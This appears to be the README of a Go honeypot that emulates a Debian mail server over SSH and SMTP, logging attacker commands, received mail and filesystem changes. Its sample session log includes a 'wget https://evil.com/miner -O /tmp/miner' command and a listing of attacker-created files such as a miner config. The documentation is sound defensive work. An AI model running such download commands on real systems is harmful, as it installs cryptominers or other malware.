A lightweight SSH and SMTP honeypot written in Go. The SSH honeypot emulates a company mailserver (Xeon E5-2620 v4, 64GB RAM) running Debian 12 (Bookworm) with Postfix, accepts root/root credentials and presents a realistic shell environment with a virtual filesystem. The hostname is configurable (default: mx1). The SMTP honeypot emulates Postfix, accepts any message, and stores it for analysis. All attacker activity is logged.
main.go — Entry point, loads config, wires SSH + SMTP servers
rootfs.go — go:embed directive for rootfs/ content
rootfs/ — Editable fake filesystem content files
config.ini — Runtime configuration (see config.ini.sample)
config/ — INI config parser, Config struct with defaults
networking/ — SSH server, connection handling, config
session/ — Shell PTY loop, command handlers, ShellState, ProcessTable
models/ — FSEntry virtual filesystem tree, CloneFS, JSON-lines logger
smtp/ — SMTP honeypot server, Postfix emulation, mail storage
translations/ — Localization support
All settings are managed via config.ini. Copy config.ini.sample to config.ini and adjust as needed:
[ssh]
listen_addr = :2222
host_key_path = host_key
log_file = honeypot.log
hostname = mx1
[smtp]
enabled = true
listen_addr = :2525
domain = honeypot.local
log_file = smtp.log
mail_dir = mail/If config.ini is not present, defaults are used (SSH on :2222, SMTP on :2525).
| Section | Key | Default | Description |
|---|---|---|---|
[ssh] |
listen_addr |
:2222 |
SSH listen address |
[ssh] |
host_key_path |
host_key |
Path to SSH host key (auto-generated if missing) |
[ssh] |
log_file |
honeypot.log |
SSH per-command log file (JSON-lines) |
[ssh] |
session_log_file |
ssh_sessions.log |
SSH session documents log file (JSON-lines) |
[ssh] |
session_dir |
ssh_sessions |
Directory for per-session filesystem diffs |
[ssh] |
hostname |
mx1 |
Hostname shown in prompt, uname, etc. |
[smtp] |
enabled |
true |
Enable/disable SMTP honeypot |
[smtp] |
listen_addr |
:2525 |
SMTP listen address |
[smtp] |
domain |
honeypot.local |
Domain shown in SMTP banner and EHLO |
[smtp] |
log_file |
smtp.log |
SMTP session log file (JSON-lines) |
[smtp] |
mail_dir |
mail/ |
Directory for storing received messages as .eml files |
- Config: Struct with SSH and SMTP sub-configs
- LoadConfig(): Parses INI file with defaults for missing keys; returns defaults if file doesn't exist
- Hand-rolled parser (no external deps), enforces line length limits
- FSEntry: Virtual filesystem tree (directories, files, permissions, ownership)
- BuildFS(embed.FS): Constructs the full mailserver filesystem and loads content from embedded files
- CloneFS(): Deep-copies a filesystem tree so each session gets an independent copy
- Resolve(): Path resolution with
./../ relative support - FormatLS(): Generates realistic
ls/ls -laoutput - Logger: Thread-safe JSON-lines logger (timestamp, session_id, IP, username, command)
- LogEntry(): Writes a pre-built SessionLog entry (used by the log-drain goroutine)
- ShellState: Per-session state (CWD, filesystem root, user, process table, log channel, session metadata)
- ProcessTable: Thread-safe fake process table tracking system daemons and user commands, with a per-session 128KB memory budget
- ServeShell(): PTY byte-by-byte input loop (handles Enter, Backspace, Ctrl-C/D/U) with 10-minute idle timeout and 64KB line buffer limit
- HandleSession(): SSH request dispatcher (pty-req, shell, exec) with clean teardown
- Execute(): Command parser and handler dispatch with pipe (
|), semicolon (;), and&&chaining support (up to 12 pipe stages per pipeline, enforces a 64KB max command length) - CommandEntry: Pairs each handler with a simulated latency range (min/max delay) to mimic realistic execution times
- Command handlers:
ls,cat,cd,pwd,echo,uname,ps,free,df,env,ip,ifconfig,lscpu,lsblk,wget,curl,history,date,w,grep,head,tail,wc,sort,uniq,awk, and more
- Server: SSH server setup with host key and auth config
- ListenAndServe(): Accept loop dispatching connections
- HandleConnection(): SSH handshake, per-session rootfs clone, process table, log channel, and goroutine lifecycle
- Server: SMTP honeypot server emulating Postfix on Debian
- ListenAndServe(): TCP accept loop
- handleConnection(): Per-connection SMTP protocol handler with session state
- Supports EHLO/HELO, MAIL FROM, RCPT TO, DATA, RSET, NOOP, QUIT, VRFY
- Responds to AUTH and STARTTLS with appropriate rejections
- Stores received messages as
.emlfiles for later analysis
The SMTP honeypot emulates a Postfix mail server running on Debian. It:
- Sends a
220 <domain> ESMTP Postfix (Debian/GNU)banner - Responds to EHLO with realistic Postfix capabilities (PIPELINING, SIZE, 8BITMIME, ENHANCEDSTATUSCODES, DSN, SMTPUTF8)
- Accepts any sender/recipient (acts as an open relay to capture spam/malware)
- Stores received messages as timestamped
.emlfiles in the configured mail directory - Logs all SMTP commands and mail metadata to its own JSON-lines log file
| Limit | Value |
|---|---|
| Max message size | 10 MB |
| Max command line length | 1024 bytes (bounded read; overlong lines are truncated without unbounded allocation) |
| Max recipients per message | 100 |
| Max commands per connection | 1000 |
| Connection idle timeout | 5 minutes |
SMTP sessions are logged to smtp.log (configurable) as JSON-lines, using the same format as SSH logs:
{"timestamp":"2026-02-28T10:00:00Z","session_id":"...","ip":"192.168.1.100","username":"","command":"EHLO evil.com"}
{"timestamp":"2026-02-28T10:00:01Z","session_id":"...","ip":"192.168.1.100","username":"","command":"<mail-received> from=<spammer@evil.com> to=[victim@test.com] size=1234"}Each SSH session channel runs in its own goroutine with:
- Cloned filesystem:
models.CloneFS()deep-copies the template rootfs so file mutations in one session don't affect others - Independent process table:
session.NewProcessTable()provides per-session fake process tracking with a 128KB memory limit - Log channel: A buffered
chan models.SessionLogsends log entries to a drain goroutine that writes to the shared logger, keeping I/O off the session goroutine - Clean teardown: On disconnect (normal exit, Ctrl-D, idle timeout, or network error), the shell process is removed from the process table, a
<disconnected>event is logged, and the channel is closed - Idle timeout: Sessions are automatically disconnected after 10 minutes of inactivity
- Input limits: Line buffer capped at 64KB (prevents memory exhaustion from data without newlines) and command length capped at 64KB
- Pipeline limit: Pipe chains are limited to 12 stages to prevent resource abuse
Each command has a randomized execution delay to mimic realistic response times and make the honeypot harder to fingerprint. Delays are defined per command category:
| Category | Commands | Delay Range |
|---|---|---|
| Trivial | whoami, id, echo, pwd, hostname, arch, history |
2–6ms |
| Filesystem | ls, cat, cd |
1–5ms |
| System info | uname, date, uptime, free, df, lscpu, lsblk, env |
1–5ms |
| Process table | ps, w |
5–20ms |
| Text processing | grep, head, tail, wc, sort, uniq, awk |
2–8ms |
| Network info | ifconfig, ip |
2–10ms |
| Path search | whereis, which, type |
2–8ms |
| Network ops | wget, curl (fake output, post-session download) |
200–800ms |
| Filesystem write | mkdir, touch, rm, rmdir, mv, cp |
1–5ms |
Pipeline commands accumulate an additional 1–3ms per stage to simulate pipe IPC overhead. Additionally, roughly 1 in 50 commands receives a 50–150ms scheduling spike to simulate kernel context switches or background daemon activity. The simulated delay is reflected in the duration_ms field of session logs.
File contents live in rootfs/ and are embedded at compile time via go:embed all:rootfs. Edit files there to change what cat /etc/passwd etc. returns. The all: prefix ensures dotfiles (.bashrc, .profile) are included.
All registered commands exist as executable files in the appropriate bin directories (/usr/bin, /usr/sbin, /bin, /sbin), matching a real Debian 12 layout. Commands can be invoked by their full path (e.g. /usr/bin/ls, /sbin/ifconfig) or relative path (e.g. ./ls from /usr/bin). Running ls /usr/bin shows the expected list of binaries with realistic file sizes and permissions.
Download the latest .deb for your architecture from GitHub Releases:
# amd64
sudo dpkg -i honeypot_*.deb
# Or install with dependencies
sudo apt install ./honeypot_*.debThe package will:
- Install the binary to
/usr/sbin/honeypot - Create a
honeypotsystem user - Create the data directory at
/var/lib/honeypot - Install and enable a systemd service that starts automatically
Download the latest .rpm for your architecture from GitHub Releases:
# x86_64
sudo dnf install honeypot-*.x86_64.rpm
# aarch64
sudo dnf install honeypot-*.aarch64.rpm
# Or using rpm directly
sudo rpm -i honeypot-*.rpmThe package will:
- Install the binary to
/usr/sbin/honeypot - Create a
honeypotsystem user - Create the data directory at
/var/lib/honeypot - Install and enable a systemd service that starts automatically
# Check status
sudo systemctl status honeypot
# View logs
sudo journalctl -u honeypot -f
# Restart
sudo systemctl restart honeypot
# Stop
sudo systemctl stop honeypotHoneypot data (host key, session logs, received mail) is stored in /var/lib/honeypot/.
Debian/Ubuntu:
# Remove (keeps data in /var/lib/honeypot)
sudo apt remove honeypot
# Remove and purge all data
sudo apt purge honeypotAlmaLinux/RHEL/Fedora:
# Remove (cleans up user, data directory, and service)
sudo dnf remove honeypot# Generate host key (first time only)
ssh-keygen -t ed25519 -f host_key -N ''
# Copy sample config
cp config.ini.sample config.ini
# Build
go build -o honeypot .
# Run
./honeypot # SSH on :2222, SMTP on :2525
# Test SSH
ssh root@localhost -p 2222 # password: root
# Test SMTP
telnet localhost 2525Every push to main automatically:
- Runs tests
- Generates a calendar-based version (
YYYY.MM.DD.HHMM) - Builds
.debpackages for amd64 and arm64 - Builds
.rpmpackages for x86_64 and aarch64 - Creates a GitHub Release with all packages and commit messages
All SSH commands are logged to honeypot.log (configurable) as JSON-lines:
{"timestamp":"2026-02-14T09:44:12Z","session_id":"a1b2c3d4-e5f6-7890-abcd-ef1234567890","ip":"192.168.1.100","username":"root","command":"cat /etc/passwd"}Each SSH connection is assigned a UUID v4 session ID, so all commands from the same session can be correlated. Session lifecycle events (<connected>, <disconnected>, <idle-timeout>, <ctrl-d>) are also logged. Failed connection attempts are logged with <login-attempt> (wrong credentials) and <handshake-failed> (protocol errors) events using a null session ID. Server lifecycle events (<server-started>, <server-stopped>) are logged to both SSH and SMTP log files also using a null session ID.
In addition to per-command logs, completed SSH sessions are written as full JSON documents to ssh_sessions.log (configurable via session_log_file). A session document is written only when the attacker successfully authenticates and executes at least one command. Failed auth attempts and probe connections are not recorded.
{
"ip": "192.168.1.100",
"rdns": "attacker.example.com",
"user": "root",
"password": "root",
"session_id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"timestamp": {
"session_start": "2026-03-01T00:00:00Z",
"session_end": "2026-03-01T00:05:00Z"
},
"commands": [
{"timestamp": "2026-03-01T00:00:01Z", "command": "ls", "output": "file1\nfile2\nfile3", "duration_ms": 0},
{"timestamp": "2026-03-01T00:00:02Z", "command": "wget https://evil.com/miner -O /tmp/miner", "output": "", "duration_ms": 1}
],
"urls": ["https://evil.com/miner"]
}Each document includes reverse DNS lookup results, the password used for authentication, and a capped list of commands (max 10,000 per session). Each command entry includes:
output: The command's response text (omitted if empty, truncated to 16KB)duration_ms: Execution time in milliseconds
The document also includes a urls field containing all unique URLs extracted from the attacker's commands (HTTP, HTTPS, FTP). This makes it easy to identify malware download locations, C2 servers, and other indicators of compromise without parsing individual commands. URLs are deduplicated, capped at 1,000 per session, and individually limited to 2,048 characters.
When filesystem modifications occur during a session, the document also includes:
created_files: Paths of new files/directories created by the attackermodified_files: Paths of existing files whose content was changeddeleted_files: Paths of files/directories that were removed
Write commands (mkdir, touch, rm, mv, cp) operate on the per-session virtual filesystem clone. When a session ends, the modified FS is compared against the base template and any changes are written to disk under ssh_sessions/<session-id>/:
ssh_sessions/
a1b2c3d4-e5f6-7890-abcd-ef1234567890/
tmp/
evil.sh ← file created by attacker
.hidden/
miner.conf ← file created by attacker
etc/
crontab ← file modified by attacker
__deleted__.txt ← manifest listing deleted paths
This captures the actual file contents attackers try to write (malware scripts, configs, crontabs) without any risk to the host system. The diff output is capped at 5MB per session to prevent disk exhaustion. Only sessions with actual filesystem changes produce output directories.
The diff metadata (lists of created/modified/deleted paths) is also included in the JSON session document for quick querying without inspecting files on disk.
| Command | Behavior |
|---|---|
ls, ls -la /path |
Lists virtual filesystem entries (bin dirs show command binaries) |
cat /path |
Shows file content from embedded rootfs |
cd /path, pwd |
Changes and prints working directory |
whoami, id, hostname |
Static identity responses |
uname -a, arch |
System info |
ps aux, w |
Dynamic process list from per-session process table |
free, df |
Memory/disk info |
ifconfig, ip addr |
Network config |
mkdir [-p], touch |
Create directories/files in virtual FS (per-session, 5MB budget) |
rm [-rf], rmdir |
Remove files/directories in virtual FS (rm -rf / refused) |
mv, cp [-r] |
Move/copy files in virtual FS |
wget, curl |
Fake realistic output; URLs downloaded post-session to ssh_downloads/<session-id>/ with SSRF protection (private IP blocking, domain blacklist, 5MB total cap) |
whereis, which, type |
Searches bin dirs for command locations dynamically |
grep, head, tail |
Filter/slice output (work standalone or with pipes) |
wc, sort, uniq |
Count, sort, deduplicate lines (work standalone or with pipes) |
awk |
Field extraction, pattern matching, BEGIN/END blocks (subset; no system/exec) |
exit, logout |
Closes session |
/usr/bin/<cmd>, ./cmd |
Path-based command invocation |
cmd1 | cmd2 | cmd3 |
Pipe support — up to 12 stages, any command can participate |
cmd1; cmd2, cmd1 && cmd2 |
Command chaining — sequential execution |